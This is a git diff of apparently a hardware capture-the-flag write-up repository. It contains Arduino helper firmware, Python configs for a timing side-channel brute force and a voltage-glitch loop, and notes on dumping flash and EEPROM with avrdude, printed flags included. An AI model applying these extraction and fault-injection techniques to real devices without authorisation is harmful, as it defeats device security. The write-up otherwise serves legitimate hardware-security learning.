+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/docs/11_GoB_config.py b/docs/11_GoB_config.py
new file mode 100644
index 0000000..f7e8036
--- /dev/null
+++ b/docs/11_GoB_config.py
@@ -0,0 +1,123 @@
+import functions
+import threading
+import time
+
+###### Config values ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1000000
+UART_NEWLINE = "\n"
+
+LENGTH = 12
+REPEAT = 1
+DELAY = 0
+
+### name, enabled, string to match ###
+conditions = [
+ ['run', True, 'Password:', 'try_glitch'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+###### Custom functions ######
+def try_glitch():
+ Len = functions.get_config_value("length")
+ Rep = functions.get_config_value("repeat")
+ Del = functions.get_config_value("delay")
+ time.sleep(0.2)
+
+ tx_thread = threading.Thread(
+ target=functions.send_uart_message,
+ args=("aaaaaaaaaaaaaaaaaaaaa",),
+ daemon=True
+ )
+
+ glitch_thread = threading.Thread(
+ target=functions.start_glitch,
+ args=(Len, Rep, Del),
+ daemon=True
+ )
+
+ glitch_thread.start()
+ tx_thread.start()
+
+ try:
+ current_delay = int(Del)
+ except (ValueError, TypeError):
+ current_delay = 0
+
+ try:
+ current_repeat = int(Rep)
+ except (ValueError, TypeError):
+ current_repeat = 0
+
+ new_delay = current_delay + 1
+
+ if new_delay >= 51:
+ new_delay = 0
+ new_repeat = current_repeat + 1
+ if new_repeat >= 20:
+ new_repeat = 1
+ functions.set_config_value("repeat", new_repeat)
+
+ functions.set_config_value("delay", new_delay)
+
+
+def stop_glitch():
+ buf = functions.read_uart_buffer()
+
+ if "TS{D@mn_y0u_@r3_g006}" in buf:
+ functions.start_glitch(16, 1, 0)
+ else:
+ functions.set_condition_value(0, False)
+ functions.set_uart_switch(False)
+
+
+###### Inactivity watchdog ######
+def config_inactivity_monitor(timeout=5):
+ """
+ Monitor 'delay' and 'repeat' configuration values.
+ Restart device if they do not change for 'timeout' seconds
+ AND condition 0 remains True.
+ """
+ # Wait for functions.config to be initialised
+ while True:
+ try:
+ _ = functions.get_config_value("delay")
+ break
+ except AttributeError:
+ print("[Watchdog] Waiting for configuration to initialise...")
+ time.sleep(1)
+
+ last_delay = functions.get_config_value("delay")
+ last_repeat = functions.get_config_value("repeat")
+ last_change_time = time.time()
+
+ while True:
+ try:
+ current_delay = functions.get_config_value("delay")
+ current_repeat = functions.get_config_value("repeat")
+ condition_active = functions.get_condition_value(0)
+
+ if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
+ last_change_time = time.time()
+ last_delay = current_delay
+ last_repeat = current_repeat
+
+ if condition_active and (time.time() - last_change_time > timeout):
+ print("[Watchdog] Inactivity detected. Restarting glitch...")
+ functions.start_glitch(16, 1, 0)
+ last_change_time = time.time()
+
+ except Exception as e:
+ print(f"[Watchdog Error] {e}")
+
+ time.sleep(1)
+
+
+# Start watchdog thread after slight delay to allow initialisation
+def start_watchdog():
+ time.sleep(2) # ensures 'functions.config' is ready
+ monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
+ monitor_thread.start()
+
+
+threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/docs/11_glitch_wrong_flag.png b/docs/11_glitch_wrong_flag.png
new file mode 100644
index 0000000..8d57b59
--- /dev/null
+++ b/docs/11_glitch_wrong_flag.png
Binary files differ
diff --git a/docs/11_logic.png b/docs/11_logic.png
new file mode 100644
index 0000000..c7de52c
--- /dev/null
+++ b/docs/11_logic.png
Binary files differ
diff --git a/docs/11_setup.png b/docs/11_setup.png
new file mode 100644
index 0000000..e5a7396
--- /dev/null
+++ b/docs/11_setup.png
Binary files differ
diff --git a/docs/12_discovery.png b/docs/12_discovery.png
new file mode 100644
index 0000000..06b2737
--- /dev/null
+++ b/docs/12_discovery.png
Binary files differ
diff --git a/docs/12_logic.png b/docs/12_logic.png
new file mode 100644
index 0000000..fe8662a
--- /dev/null
+++ b/docs/12_logic.png
Binary files differ
diff --git a/docs/12_setup.png b/docs/12_setup.png
new file mode 100644
index 0000000..5293caf
--- /dev/null
+++ b/docs/12_setup.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
